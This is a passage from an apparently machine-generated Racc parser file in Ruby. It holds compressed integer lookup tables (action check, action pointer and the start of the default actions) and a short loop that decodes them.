'783,783,783,,783,783,783,,783,783,,783,783,783,,,,,,,,,,,,,,,,,,,,783',
',,783,,,783,783,,,783,,,,,,783,,,,,,,,783,,,,,783,783,783,783,783,783',
',,,783,783,,,,,,,783,,,783,783,783,,,783,783,693,693,693,,693,,,,693',
'693,,,,693,,693,693,693,693,693,693,693,,,,,,693,693,693,693,693,693',
'693,,,693,,,,,,,693,,,693,693,693,693,693,693,693,693,,693,693,693,',
'693,693,,693,693,693,,,,,,,,,,,,,,,,,,,,693,,,693,,,693,693,,,693,,693',
',,,693,,,,,,,,693,,,,,693,693,693,693,693,693,,,,693,693,,,,,,,693,',
',693,693,693,,,693,693,299,299,299,,299,,,,299,299,,,,299,,299,299,299',
'299,299,299,299,,,,,,299,299,299,299,299,299,299,,,299,,,,,,,299,,,299',
'299,299,299,299,299,299,299,,299,299,299,,299,299,,,,299,,,,,,,,,,,',
',,,,,,,,299,,,299,,,299,299,,,299,,,,,,,,,,,,,,,,,,,299,299,299,299',
'299,299,,,,299,299,,,,299,,,299,,,299,299,299,,,299,299,23,23,23,,23',
',,,23,23,,,,23,,23,23,23,23,23,23,23,,,,,,23,23,23,23,23,23,23,,,23',
',,,,,,23,,,23,23,23,23,23,23,23,23,,23,23,23,,23,23,,23,23,23,,,,,,',
',,,,,,,,,,,,,23,,,23,,,23,23,,,23,,,,,,23,,,,,,,,23,,,,,23,23,23,23',
'23,23,,,,23,23,,,,,,,23,,,23,23,23,,,23,23,516,516,516,,516,,,,516,516',
',,,516,,516,516,516,516,516,516,516,,,,,,516,516,516,516,516,516,516',
',,516,,,,,,,516,,,516,516,516,516,516,516,516,516,,516,516,516,,516',
'516,,,,516,,,,,,,,,,,,,,,,,,,,516,,,516,,,516,516,,,516,,,,,,,,,,,,',
',,,,,,516,516,516,516,516,516,,,,516,516,,,,,,,516,,,516,516,516,,,516',
'516,784,784,784,,784,,,,784,784,,,,784,,784,784,784,784,784,784,784',
',,,,,784,784,784,784,784,784,784,,,784,,,,,,,784,,,784,784,784,784,784',
'784,784,784,,784,784,784,,784,784,,784,784,784,,,,,,,,,,,,,,,,,,,,784',
',,784,,,784,784,,,784,,,,,,784,,,,,,,,784,,,,,784,784,784,784,784,784',
',,,784,784,,,,,,,784,,,784,784,784,,,784,784,786,786,786,,786,,,,786',
'786,,,,786,,786,786,786,786,786,786,786,,,,,,786,786,786,786,786,786',
'786,,,786,,,,,,,786,,,786,786,786,786,786,786,786,786,,786,786,786,',
'786,786,,786,786,786,,,,,,,,,,,,,,,,,,,,786,,,786,,,786,786,,,786,,',
',,,786,,,,,,,,786,,,,,786,786,786,786,786,786,,,,786,786,,,,,,,786,',
',786,786,786,,,786,786,565,565,565,,565,,,,565,565,,,,565,,565,565,565',
'565,565,565,565,,,,,,565,565,565,565,565,565,565,,,565,,,,,,,565,,,565',
'565,565,565,565,565,565,565,,565,565,565,,565,565,,565,565,565,,,,,',
',,,,,,,,,,,,,,565,,,565,,,565,565,,,565,,,,,,565,,,,,,,,565,,,,,565',
'565,565,565,565,565,,,,565,565,,,,,,,565,,,565,565,565,,,565,565,798',
'798,798,,798,,,,798,798,,,,798,,798,798,798,798,798,798,798,,,,,,798',
'798,798,798,798,798,798,,,798,,,,,,,798,,,798,798,798,798,798,798,798',
'798,,798,798,798,,798,798,,,,798,,,,,,,,,,,,,,,,,,,,798,,,798,,,798',
'798,,,798,,,,,,,,,,,,,,,,,,,798,798,798,798,798,798,,,,798,798,,,,,',
',798,,,798,798,798,,,798,798,711,711,711,,711,,,,711,711,,,,711,,711',
'711,711,711,711,711,711,,,,,,711,711,711,711,711,711,711,,,711,,,,,',
',711,,,711,711,711,711,711,711,711,711,,711,711,711,,711,711,,711,711',
'711,,,,,,,,,,,,,,,,,,,,711,,,711,,,711,711,,,711,,,,,,711,,,,,,,,711',
',,,,711,711,711,711,711,711,,,,711,711,,,,,,,711,,,711,711,711,,,711',
'711,737,737,737,,737,,,,737,737,,,,737,,737,737,737,737,737,737,737',
',,,,,737,737,737,737,737,737,737,,,737,,,,,,,737,,,737,737,737,737,737',
'737,737,737,,737,737,737,,737,737,,737,737,737,,,,,,,,,,,,,,,,,,,,737',
',,737,,,737,737,,,737,,,,,,737,,,,,,,,737,,,,,737,737,737,737,737,737',
',,,737,737,,,,,,,737,,,737,737,737,,,737,737,344,344,344,,344,,,,344',
'344,,,,344,,344,344,344,344,344,344,344,,,,,,344,344,344,344,344,344',
'344,,,344,,,,,,,344,,,344,344,344,344,344,344,344,344,,344,344,344,',
'344,344,,344,344,344,,,,,,,,,,,,,,,,,,,,344,,,344,,,344,344,,,344,,',
',,,344,,,,,,,,344,,,,,344,344,344,344,344,344,,,,344,344,,,,,,,344,',
',344,344,344,,,344,344,731,731,731,,731,,,,731,731,,,,731,,731,731,731',
'731,731,731,731,,,,,,731,731,731,731,731,731,731,,,731,,,,,,,731,,,731',
'731,731,731,731,731,731,731,,731,731,731,,731,731,,731,731,731,,,,,',
',,,,,,,,,,,,,,731,,,731,,,731,731,,,731,,731,,,,731,,,,,,,,731,,,,,731',
'731,731,731,731,731,,,,731,731,,,,,,,731,,,731,731,731,,,731,731,502',
'502,502,,502,,,,502,502,,,,502,,502,502,502,502,502,502,502,,,,,,502',
'502,502,502,502,502,502,,,502,,,,,,,502,,,502,502,502,502,502,502,502',
'502,502,502,502,502,,502,502,,502,502,502,,,,,,,,,,,,,,,,,,,,502,,,502',
',,502,502,,,502,,,,502,,502,,,,,,,,502,,,,,502,502,502,502,502,502,',
',,502,502,,,,,,,502,,502,502,502,502,,,502,502,541,541,541,,541,,,,541',
'541,,,,541,,541,541,541,541,541,541,541,,,,,,541,541,541,541,541,541',
'541,,,541,,,,,,,541,,,541,541,541,541,541,541,541,541,541,541,541,541',
',541,541,,541,541,541,,,,,,,,,,,,,,,,,,,,541,,,541,,,541,541,,,541,',
',,,,541,,,,,,,,541,,,,,541,541,541,541,541,541,,,,541,541,,,,,,,541',
',541,541,541,541,,,541,541,316,316,316,,316,,,,316,316,,,,316,,316,316',
'316,316,316,316,316,,,,,,316,316,316,316,316,316,316,,,316,,,,,,,316',
',,316,316,316,316,316,316,316,316,,316,316,316,,316,316,,,,316,,,,,',
',,,,,,,,,,,,,,316,,,316,,,316,316,,,316,,,,,,,,,,,,,,,,,,,316,316,316',
'316,316,316,,,,316,316,,,,,,,316,,,316,316,316,,,316,316,538,538,538',
',538,,,,538,538,,,,538,,538,538,538,538,538,538,538,,,,,,538,538,538',
'538,538,538,538,,,538,,,,,,,538,,,538,538,538,538,538,538,538,538,538',
'538,538,538,,538,538,,538,538,538,,,,,,,,,,,,,,,,,,,,538,,,538,,,538',
'538,,,538,,538,,,,538,,,,,,,,538,,,,,538,538,538,538,538,538,,,,538',
'538,,,,,,,538,,538,538,538,538,,,538,538,8,8,8,8,8,,,,8,8,,,,8,,8,8',
'8,8,8,8,8,,,,,,8,8,8,8,8,8,8,,,8,,,,,,8,8,8,8,8,8,8,8,8,8,8,8,,8,8,8',
',8,8,,8,8,8,,,,,,,,,,,,,,,,,,,,8,,,8,,,8,8,,,8,,8,,,,8,,,,,,,,8,,,,',
'8,8,8,8,8,8,,,,8,8,,,,,,,8,,,8,8,8,,,8,8,844,844,844,,844,,,,844,844',
',,,844,,844,844,844,844,844,844,844,,,,,,844,844,844,844,844,844,844',
',,844,,,,,,,844,,,844,844,844,844,844,844,844,844,,844,844,844,,844',
'844,,844,844,844,,,,,,,,,,,,,,,,,,,,844,,,844,,,844,844,,,844,,,,,,844',
',,,,,,,844,,,,,844,844,844,844,844,844,,,,844,844,,,,,,,844,,,844,844',
'844,,,844,844,928,928,928,,928,,,,928,928,,,,928,,928,928,928,928,928',
'928,928,,,,,,928,928,928,928,928,928,928,,,928,,,,,,,928,,,928,928,928',
'928,928,928,928,928,,928,928,928,,928,928,,928,928,928,,,,,,,,,,,,,',
',,,,,,928,,,928,,,928,928,,,928,,928,,,,928,,,,,,,,928,,,,,928,928,928',
'928,928,928,,,,928,928,,,,,,,928,,,928,928,928,,,928,928,324,324,324',
',324,,,,324,324,,,,324,,324,324,324,324,324,324,324,,,,,,324,324,324',
'324,324,324,324,,,324,,,,,,,324,,,324,324,324,324,324,324,324,324,,324',
'324,324,,324,324,,324,324,324,,,,,,,,,,,,,,,,,,,,324,,,324,324,,324',
'324,,,324,,,,,,324,,,,,,,,324,,,,,324,324,324,324,324,324,,,,324,324',
',,,,,,324,,,324,324,324,,,324,324,416,416,416,,416,,,,416,416,,,,416',
',416,416,416,416,416,416,416,,,,,,416,416,416,416,416,416,416,,,416',
',,,,,,416,,,416,416,416,416,416,416,416,416,,416,416,416,,416,416,,416',
'416,416,,,,,,,,,,,,,,,,,,,,416,,,416,,,416,416,,,416,,,,,,416,,,,,,',
',416,,,,,416,416,416,416,416,416,,,,416,416,,,,,,,416,,,416,416,416',
',,416,416,532,532,532,,532,,,,532,532,,,,532,,532,532,532,532,532,532',
'532,,,,,,532,532,532,532,532,532,532,,,532,,,,,,,532,,,532,532,532,532',
'532,532,532,532,,532,532,532,,532,532,,532,532,532,,,,,,,,,,,,,,,,,',
',,532,,,532,,,532,532,,,532,,,,,,532,,,,,,,,532,,,,,532,532,532,532',
'532,532,,,,532,532,,,,,,,532,,,532,532,532,,,532,532,509,509,509,509',
'509,,,,509,509,,,,509,,509,509,509,509,509,509,509,,,,,,509,509,509',
'509,509,509,509,,,509,,,,,,509,509,,509,509,509,509,509,509,509,509',
'509,,509,509,509,,509,509,,509,509,509,,,,,,,,,,,,,,,,,,,,509,,,509',
',,509,509,,,509,,509,,,,509,,,,,,,,509,,,,,509,509,509,509,509,509,',
',,509,509,,,,,,509,509,,,509,509,509,,,509,509,528,528,528,,528,,,,528',
'528,,,,528,,528,528,528,528,528,528,528,,,,,,528,528,528,528,528,528',
'528,,,528,,,,,,,528,,,528,528,528,528,528,528,528,528,,528,528,528,',
'528,528,,528,528,528,,,,,,,,,,,,,,,,,,,,528,,,528,,,528,528,,,528,,',
',,,528,,,,,,,,528,,,,,528,528,528,528,528,528,,,,528,528,,,,,,,528,',
',528,528,528,,,528,528,527,527,527,,527,,,,527,527,,,,527,,527,527,527',
'527,527,527,527,,,,,,527,527,527,527,527,527,527,,,527,,,,,,,527,,,527',
'527,527,527,527,527,527,527,,527,527,527,,527,527,,527,527,527,,,,,',
',,,,,,,,,,,,,,527,,,527,,,527,527,,,527,,,,,,527,,,,,,,,527,,,,,527',
'527,527,527,527,527,,,,527,527,,,,,,,527,,,527,527,527,,,527,527,891',
'891,891,,891,,,,891,891,,,,891,,891,891,891,891,891,891,891,,,,,,891',
'891,891,891,891,891,891,,,891,,,,,,,891,,,891,891,891,891,891,891,891',
'891,,891,891,891,,891,891,,,,891,,,,,,,,,,,,,,,,,,,,891,,,891,,,891',
'891,,,891,,,,,,,,,,,,,,,,,,,891,891,891,891,891,891,,,,891,891,,,,,',
',891,,,891,891,891,,,891,891,524,524,524,,524,,,,524,524,,,,524,,524',
'524,524,524,524,524,524,,,,,,524,524,524,524,524,524,524,,,524,,,,,',
',524,,,524,524,524,524,524,524,524,524,,524,524,524,,524,524,,,,524',
',,,,,,,,,,,,,,,,,,,524,,,524,,,524,524,,,524,,,,,,,,,,,,,,,,,,,524,524',
'524,524,524,524,,,,524,524,,,,,,,524,,,524,524,524,,,524,524,504,504',
'504,,504,,,,504,504,,,,504,,504,504,504,504,504,504,504,,,,,,504,504',
'504,504,504,504,504,,,504,,,,,,,504,,,504,504,504,504,504,504,504,504',
',504,504,504,,504,504,,504,504,504,,,,,,,,,,,,,,,,,,,,504,,,504,,,504',
'504,,,504,,,,,,504,,,,,,,,504,,,,,504,504,504,504,504,504,,,,504,504',
',,,,,,504,,,504,504,504,,,504,504,876,876,876,,876,,,,876,876,,,,876',
',876,876,876,876,876,876,876,,,,,,876,876,876,876,876,876,876,,,876',
',,,,,,876,,,876,876,876,876,876,876,876,876,,876,876,876,,876,876,,876',
'876,876,,,,,,,,,,,,,,,,,,,,876,,,876,,,876,876,,,876,,,,,,876,,,,,,',
',876,,,,,876,876,876,876,876,876,,,,876,876,,,,,,,876,,,876,876,876',
'437,,876,876,,,,437,437,437,,,437,437,437,707,437,707,707,707,707,707',
',,,437,437,437,437,,,707,,,,,437,437,,437,437,437,437,437,,,,,,,,,,707',
',,,,,,,,707,707,707,707,,437,437,437,437,437,437,437,437,437,437,437',
'437,437,437,,,437,437,437,,,437,,,437,,,437,437,,437,707,437,,437,,437',
'437,437,437,437,437,437,,437,437,437,,,,,,,,,,,,,437,437,437,437,438',
'437,,437,,,,438,438,438,,,438,438,438,915,438,915,915,915,915,915,,',
',438,438,438,438,,,915,,,,,438,438,,438,438,438,438,438,,,,,,,,,,915',
',,,,,,,,,,915,915,,438,438,438,438,438,438,438,438,438,438,438,438,438',
'438,,,438,438,438,,,438,,,438,,,438,438,,438,915,438,,438,,438,438,438',
'438,438,438,438,,438,438,438,,,,,,,,,,,,,438,438,438,438,59,438,,438',
',,,59,59,59,,,59,59,59,909,59,909,909,909,909,909,,,,,59,59,59,,,909',
',,,,59,59,,59,59,59,59,59,,,,,,,,,,909,,,,,,,,,909,909,909,909,,59,59',
'59,59,59,59,59,59,59,59,59,59,59,59,,,59,59,59,,,59,,,59,,,59,59,,59',
'909,59,,59,,59,59,59,59,59,59,59,,59,,59,,,,,,,,,,,,,59,59,59,59,,59',
',59,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74',
'74,74,,,,74,74,74,74,74,74,74,74,74,74,,,,,,74,74,74,74,74,74,74,74',
'74,74,74,74,,74,,,,,,,74,74,,74,74,74,74,74,74,74,,,74,74,,,,74,74,74',
'74,,,,,,74,,,,,,,,74,74,,74,74,74,74,74,74,74,74,74,74,74,,,74,,,,,',
',,,,,,,,,,,,,,74,407,407,407,407,407,407,407,407,407,407,407,407,407',
'407,407,407,407,407,407,407,407,407,407,407,,,,407,407,407,407,407,407',
'407,407,407,407,,,,,,407,407,407,407,407,407,407,407,407,,,407,,,,,',
',,,407,407,,407,407,407,407,407,407,407,,,407,407,,,,407,407,407,407',
',,,,,,,,,,,,,407,407,,407,407,407,407,407,407,407,407,407,407,407,,',
'407,407,,,,,,,,,,407,,,,,,,,,407,11,11,11,11,11,11,11,11,11,11,11,11',
'11,11,11,11,11,11,11,11,11,11,11,11,,,,11,11,11,11,11,11,11,11,11,11',
',,,,,11,11,11,11,11,11,11,11,11,11,,11,,,,,,,,,11,11,,11,11,11,11,11',
'11,11,,,11,11,,,,11,11,11,11,,,,,,,,,,,,,,11,11,,11,11,11,11,11,11,11',
'11,11,11,11,,,11,11,,,,,,,,,,11,,,,,,,,,11,12,12,12,12,12,12,12,12,12',
'12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,,,,12,12,12,12,12,12,12',
'12,12,12,,,,,,12,12,12,12,12,12,12,12,12,,,12,,,,,,,,,12,12,,12,12,12',
'12,12,12,12,,,12,12,,,,12,12,12,12,,,,,,,,,,,,,,12,12,,12,12,12,12,12',
'12,12,12,12,12,12,,,12,12,,,,,,,,,,12,,,,,,,,,12,628,628,628,628,628',
'628,628,628,628,628,628,628,628,628,628,628,628,628,628,628,628,628',
'628,628,,,,628,628,628,628,628,628,628,628,628,628,,,,,,628,628,628',
'628,628,628,628,628,628,,,628,,,,,,,,,628,628,,628,628,628,628,628,628',
'628,,,628,628,,,,628,628,628,628,,,,,,,,,,,,,,628,628,,628,628,628,628',
'628,628,628,628,628,628,628,,,628,628,,,,,,,,,,628,,,,,,,,,628,91,91',
'91,91,91,91,91,91,91,91,91,91,91,91,91,91,91,91,91,91,91,91,91,91,,',
',91,91,91,91,91,91,91,91,91,91,,,,,,91,91,91,91,91,91,91,91,91,91,91',
'91,,91,,,,,,,91,91,,91,91,91,91,91,91,91,,,91,91,,,,91,91,91,91,,,,',
',,,,,,,,,91,91,,91,91,91,91,91,91,91,91,91,91,91,,,91,,,,,,,,,,,,,,',
',,,,,91,753,753,753,753,753,753,753,753,753,753,753,753,753,753,753',
'753,753,753,753,753,753,753,753,753,,,,753,753,753,753,753,753,753,753',
'753,753,,,,,,753,753,753,753,753,753,753,753,753,,,753,,,,,,,,,753,753',
',753,753,753,753,753,753,753,,,753,753,,,,753,753,753,753,,,,,,,,,,',
',,,753,753,,753,753,753,753,753,753,753,753,753,753,753,31,,753,,,,',
'31,31,31,,,31,31,31,709,31,709,709,709,709,709,753,,,,31,31,,,,709,',
',,,31,31,,31,31,31,31,31,,,,,,,,,,709,,,,,,,,,,,709,709,,31,31,31,31',
'31,31,31,31,31,31,31,31,31,31,,,31,31,31,,,31,,31,31,,,31,31,,31,709',
'31,,31,,31,31,31,31,31,31,31,,31,,31,,,,,,,,,,,,486,31,31,,31,,31,486',
'486,486,,,486,486,486,751,486,751,751,751,751,751,,,,486,486,,,,,751',
',,,,486,486,,486,486,486,486,486,,,,,,,,,,751,,,,,,,,,751,751,751,751',
',428,,,,,,,428,428,428,,486,428,428,428,,428,,486,,,,,486,486,428,428',
'428,,,,751,,,,,428,428,,428,428,428,428,428,,486,486,,,,,,,,,,,,,486',
',,,,486,,,428,428,428,428,428,428,428,428,428,428,428,428,428,428,,',
'428,428,428,,,428,,428,428,,,428,428,,428,,428,,428,,428,428,428,428',
'428,428,428,,428,428,428,,,,,,,,,,,,30,428,428,,428,,428,30,30,30,,',
'30,30,30,1007,30,1007,1007,1007,1007,1007,,,,30,30,30,,,,1007,,,,,30',
'30,,30,30,30,30,30,,,,,,,,,,1007,,,,,,,,,,,1007,1007,,30,30,30,30,30',
'30,30,30,30,30,30,30,30,30,,,30,30,30,,,30,,30,30,,,30,30,,30,1007,30',
',30,,30,30,30,30,30,30,30,,30,30,30,,,,,,588,588,,,588,,,30,30,,30,',
'30,588,588,,588,588,588,588,588,588,588,,,588,588,,,,588,588,588,588',
',,,,,588,,,,,,,,588,588,,588,588,588,588,588,588,588,588,588,588,588',
',,588,,,,,214,214,,,214,,,,,,,,,214,214,588,214,214,214,214,214,214',
'214,,,214,214,,,,214,214,214,214,,,,,,214,,,,,,,,214,214,,214,214,214',
'214,214,214,214,214,214,214,214,,,214,,,,,742,742,,,742,,,,,,,,,742',
'742,214,742,742,742,742,742,742,742,,,742,742,,,,742,742,742,742,,,',
',,742,,,,,,,,742,742,,742,742,742,742,742,742,742,742,742,742,742,,',
'742,,,,,452,452,,,452,,,,,,,,,452,452,742,452,452,452,452,452,452,452',
',,452,452,,,,452,452,452,452,,,,,,452,,,,,,,,452,452,,452,452,452,452',
'452,452,452,452,452,452,452,,,452,,,,,453,453,,,453,,,,,,,,,453,453',
'452,453,453,453,453,453,453,453,,,453,453,,,,453,453,453,453,,,,,,453',
',,,,,,,453,453,,453,453,453,453,453,453,453,453,453,453,453,,,453,,',
',,741,741,,,741,,,,,,,,,741,741,453,741,741,741,741,741,741,741,,,741',
'741,,,,741,741,741,741,,,,,,741,,,,,,,,741,741,,741,741,741,741,741',
'741,741,741,741,741,741,,,741,,,,,519,519,,,519,,,,,,,,,519,519,741',
'519,519,519,519,519,519,519,,,519,519,,,,519,519,519,519,,,,,,519,,',
',,,,,519,519,,519,519,519,519,519,519,519,519,519,519,519,,,519,,,,',
'520,520,,,520,,,,,,,,,520,520,519,520,520,520,520,520,520,520,,,520',
'520,,,,520,520,520,520,,,,,,520,,,,,,,,520,520,,520,520,520,520,520',
'520,520,520,520,520,520,,881,520,881,881,881,881,881,659,,659,659,659',
'659,659,,,881,,,,,520,,659,884,,884,884,884,884,884,,,,,,,,881,,884',
',,,,659,,881,881,881,881,,,,659,659,659,659,,,,886,884,886,886,886,886',
'886,,,,884,884,884,884,,,886,,,,,659,881,,,,,,,659,,,,,,,,,886,1005',
'1005,,,1005,,,884,,,886,886,,1005,1005,,1005,1005,1005,1005,1005,1005',
'1005,,,1005,1005,,,,1005,1005,1005,1005,,,,,,1005,,,,,886,,,1005,1005',
',1005,1005,1005,1005,1005,1005,1005,1005,1005,1005,1005,,,1005,,,,,1004',
'1004,,,1004,,,,,,,,,1004,1004,1005,1004,1004,1004,1004,1004,1004,1004',
',,1004,1004,,,,1004,1004,1004,1004,,,,,,1004,,,,,,,,1004,1004,,1004',
'1004,1004,1004,1004,1004,1004,1004,1004,1004,1004,,994,1004,994,994',
'994,994,994,992,,992,992,992,992,992,,,994,,,,,1004,,992,,,,,,,,,,,',
',,,994,,,,,,,992,,213,213,994,994,213,,,,,992,992,,,213,213,,213,213',
'213,213,213,213,213,,,213,213,,,,213,213,213,213,,,994,,,213,,,,992',
',,,213,213,,213,213,213,213,213,213,213,213,213,213,213,,990,213,990',
'990,990,990,990,1038,,1038,1038,1038,1038,1038,,,990,,,,,213,,1038,',
',,,,,,,,,,,,,990,,,,,,,1038,,529,529,990,990,529,,,,,1038,1038,,,529',
'529,,529,529,529,529,529,529,529,,,529,529,,,,529,529,529,529,,,990',
',,529,,,,1038,,,,529,529,,529,529,529,529,529,529,529,529,529,529,529',
',,529,,,,,530,530,,,530,,,,,,,,,530,530,529,530,530,530,530,530,530',
'530,,,530,530,,,,530,530,530,530,,,,,,530,,,,,,,,530,530,,530,530,530',
'530,530,530,530,530,530,530,530,,,530,,,,,262,262,,,262,,,,,,,,,262',
'262,530,262,262,262,262,262,262,262,,,262,262,,,,262,262,262,262,,,',
',,,,,,,,,,262,262,,262,262,262,262,262,262,262,262,262,262,262,,600',
'262,600,600,600,600,600,546,,546,546,546,546,546,,,600,,,,,262,,546',
'938,,938,938,938,938,938,,,,,,,,600,600,938,,,,,546,,600,600,600,600',
',,,546,546,546,546,,,,,938,938,913,,913,913,913,913,913,938,938,938',
'938,,,,,,913,,705,600,705,705,705,705,705,,546,,,,,,,,705,,,,913,,,',
',938,,,,,,913,913,,,,,,705,,,587,587,,,587,,705,705,705,705,,,,587,587',
',587,587,587,587,587,587,587,,913,587,587,,,,587,587,587,587,,,,,,587',
',,705,,,,,587,587,,587,587,587,587,587,587,587,587,587,587,587,,,587',
',,,,955,955,,,955,,,,,,,,,955,955,587,955,955,955,955,955,955,955,,',
'955,955,,,,955,955,955,955,,,,,,955,,,,,,,,955,955,,955,955,955,955',
'955,955,955,955,955,955,955,,988,955,988,988,988,988,988,,,,,,,,,,988',
',,,,955,,,,,,,,,,,,,,,,,988,,,,,,,,,988,988,988,988,,,,,,,,,,,,,,,,',
',,,,,,,,,,,,,,,,988' ]
racc_action_check = arr = ::Array.new(26268, nil)
idx = 0
clist.each do |str|
str.split(',', -1).each do |i|
arr[idx] = i.to_i unless i.empty?
idx += 1
end
end
racc_action_pointer = [
nil, 32, 925, 1337, nil, 428, nil, nil, 21253, 1333,
nil, 23729, 23862, 1224, nil, 1188, 1242, 787, 436, 1186,
-16, nil, -78, 19293, 2194, 1294, nil, 441, nil, 2,
24690, 24373, 11873, 11733, 11593, nil, 3604, 9353, 7953, nil,
1141, 266, 181, 1208, 122, 6833, 5993, 17613, 1127, 1210,
nil, nil, nil, nil, nil, nil, nil, nil, nil, 23331,
nil, 5573, 5713, 5853, -10, nil, 6133, 6273, nil, nil,
6413, 6553, 1166, nil, 23463, nil, nil, nil, nil, nil,
171, nil, nil, nil, nil, nil, nil, 1113, 1105, 1104,
1090, 24128, nil, nil, nil, nil, nil, nil, 389, nil,
nil, 521, nil, nil, nil, nil, nil, nil, nil, nil,
nil, nil, nil, nil, 8093, nil, nil, nil, nil, 8233,
8373, 8513, 8653, 8793, 1107, nil, 365, nil, nil, nil,
nil, nil, nil, nil, nil, nil, nil, nil, nil, nil,
nil, nil, nil, nil, nil, nil, nil, nil, nil, nil,
nil, nil, nil, nil, nil, nil, nil, nil, nil, nil,
nil, nil, nil, nil, nil, nil, nil, nil, nil, nil,
nil, nil, nil, nil, nil, nil, nil, nil, nil, nil,
nil, nil, nil, nil, nil, nil, nil, nil, nil, nil,
nil, nil, nil, nil, nil, nil, nil, nil, nil, nil,
nil, nil, nil, nil, nil, nil, nil, 1086, nil, 3745,
9493, 9633, 9773, 25573, 24826, 10193, 10333, 10473, 10613, 10753,
10893, nil, nil, 1207, 138, 136, 1150, 173, 1058, 1112,
nil, 12013, 3040, 1107, 12433, 12573, 12713, 12853, 12993, 13133,
13273, 13413, 13553, 13693, 13833, 13973, 14113, 14253, 14393, 14533,
14673, 14813, 14953, 15093, 15233, 15373, 15513, 15653, 15793, 15933,
nil, nil, 25818, nil, nil, 1097, 16353, nil, 1102, nil,
nil, nil, 16633, nil, nil, 16773, nil, 2758, nil, 1060,
1049, nil, 17333, 1060, 5013, nil, 17753, 17893, nil, nil,
401, nil, 1489, 18313, 984, 2617, 996, 1021, 979, 19153,
2194, 559, 1138, 1102, 1051, 856, nil, 1015, 977, -19,
nil, nil, nil, 989, 178, 949, 20973, nil, 305, 1006,
1069, nil, 997, nil, 21673, 4309, 677, nil, 962, nil,
-79, 517, 943, 924, nil, 555, 937, nil, nil, 485,
535, 32, 17, 5433, 20413, 245, 1004, 885, 1, 40,
133, 960, 27, 988, nil, nil, 18173, nil, 17053, 236,
492, 491, 136, 468, 400, 466, 525, 322, nil, 577,
nil, nil, nil, nil, nil, 382, nil, 385, nil, 392,
nil, 884, 318, nil, 865, 289, nil, 844, -26, nil,
841, -58, nil, 389, nil, nil, nil, nil, nil, nil,
nil, nil, nil, nil, nil, nil, 4732, 23596, nil, nil,
nil, nil, 849, nil, nil, 832, 21813, 823, nil, nil,
1066, 825, nil, nil, 820, 810, 438, 414, 24565, nil,
nil, nil, 0, 651, 848, nil, nil, 23071, 23201, nil,
1207, nil, 795, nil, nil, 784, nil, nil, nil, nil,
20, nil, 24962, 25030, 12293, 119, 12153, 7813, 7113, 3886,
3745, 644, 347, 866, 865, 845, 843, 5293, 5153, 3628,
3181, 3604, 4027, 4168, 4309, 4450, 4873, 4591, 5013, 4732,
666, 574, 3322, 3463, 1489, 98, 24498, nil, nil, nil,
nil, nil, nil, -56, -47, 781, 771, nil, nil, 16913,
nil, nil, 20693, nil, 22793, nil, nil, nil, nil, 22093,
1474, 770, 755, nil, nil, 750, 19433, 749, 18733, 25166,
25234, -61, 781, nil, 22653, 737, nil, 22373, 22233, 25682,
25750, 3040, 21953, 837, 821, 674, nil, nil, 21113, nil,
nil, 20833, nil, nil, nil, 26, 25887, nil, 612, 610,
nil, 588, 578, 571, nil, nil, nil, nil, nil, nil,
nil, 543, 585, nil, nil, 19853, nil, nil, nil, 560,
nil, nil, nil, 551, nil, nil, 530, 1771, 487, nil,
784, 155, 29, 473, 472, nil, 17193, 26003, 24758, 25,
nil, 297, 265, -33, nil, 997, nil, 9, 16213, nil,
25880, nil, 16073, nil, nil, nil, nil, nil, nil, nil,
nil, nil, nil, nil, 251, nil, nil, 187, nil, nil,
nil, 349, nil, nil, 340, nil, 340, nil, 23995, nil,
315, 11453, 11313, 437, 340, 11173, 11033, 10053, 9913, 324,
nil, nil, nil, 9073, 8933, 322, nil, 7533, 7253, nil,
93, -52, 257, 125, 280, 925, 246, nil, nil, 25303,
nil, nil, 330, -14, -49, nil, nil, nil, nil, 187,
nil, 224, 5153, nil, nil, 769, -83, 6973, 177, nil,
165, 150, 146, 199, 397, 961, 184, 120, 16493, 2335,
150, 59, 175, 19013, nil, nil, 560, nil, 2053, 1912,
53, 246, nil, nil, 238, 25962, nil, 23035, nil, 24337,
nil, 20133, nil, 648, nil, 46, 191, -14, nil, nil,
nil, nil, 643, nil, 72, nil, nil, nil, nil, 29,
nil, 20553, 1088, 28, 42, 86, 57, 20273, nil, 690,
nil, 25098, 24894, 18593, nil, nil, nil, 317, 659, 4027,
4168, 24462, 424, 24261, 52, 767, 4873, nil, nil, nil,
nil, nil, nil, nil, 265, 6693, 2476, 9213, nil, 304,
nil, 2053, nil, 1348, nil, nil, 1630, nil, 2617, nil,
2899, 17473, 18033, 18873, 19573, -42, 19713, 484, 488, nil,
492, 502, 504, nil, 526, 519, 530, 533, 19993, nil,
nil, 1630, nil, nil, nil, 1489, 1348, nil, nil, 603,
342, nil, nil, 732, nil, 1066, 622, 673, nil, nil,
nil, 653, 764, 650, 650, nil, nil, nil, 652, 662,
nil, 663, 667, nil, 668, nil, nil, 672, 655, 694,
3308, nil, 831, nil, 21393, 838, 4450, 4591, nil, -8,
-1, 56, 165, 784, nil, 780, 3463, 7673, nil, 456,
906, 908, 792, nil, nil, nil, nil, nil, nil, nil,
nil, 809, 794, nil, 1771, 5293, 22933, 1912, 337, nil,
nil, 25296, nil, nil, 25320, nil, 25357, nil, nil, 844,
1193, 22513, 1110, 910, 957, 1207, 868, 976, nil, 2476,
nil, nil, -7, 18453, nil, nil, nil, nil, nil, 23295,
nil, 615, nil, 25944, nil, 23165, nil, nil, nil, nil,
250, 3257, 919, nil, 18, nil, 1047, 1049, 21533, 3886,
nil, nil, 1065, 442, nil, nil, nil, nil, 25904, nil,
951, nil, nil, 961, 963, 964, 965, nil, 973, nil,
62, nil, nil, nil, 820, 26071, nil, nil, 994, nil,
nil, nil, 2335, 928, 529, 689, 1074, 925, nil, 1024,
1027, 1028, 1032, 1037, 3167, 1050, 3398, 2758, nil, nil,
nil, 47, 2899, nil, nil, 3181, 3322, nil, 26133, nil,
25635, nil, 25533, nil, 25526, nil, nil, nil, 1334, 1131,
1141, nil, 1226, 7393, 25464, 25396, 1066, 24654, nil, nil,
nil, nil, 3449, 1138, 684, nil, nil, nil, 1280, 1285,
1288, 1169, 1173, 1178, 1190, nil, nil, 1194, 19, -11,
46, 969, 1204, 1206, nil, nil, nil, nil, 25642, nil,
nil, nil, nil, -9, nil, 1209, nil ]
racc_action_default = [
-1, -621, -620, -621, -2, -607, -4, -5, -621, -8,
-9, -621, -621, -621, -29, -621, -621, -621, -280, -621,
-40, -43, -609, -621, -48, -50, -51, -52, -57, -257,
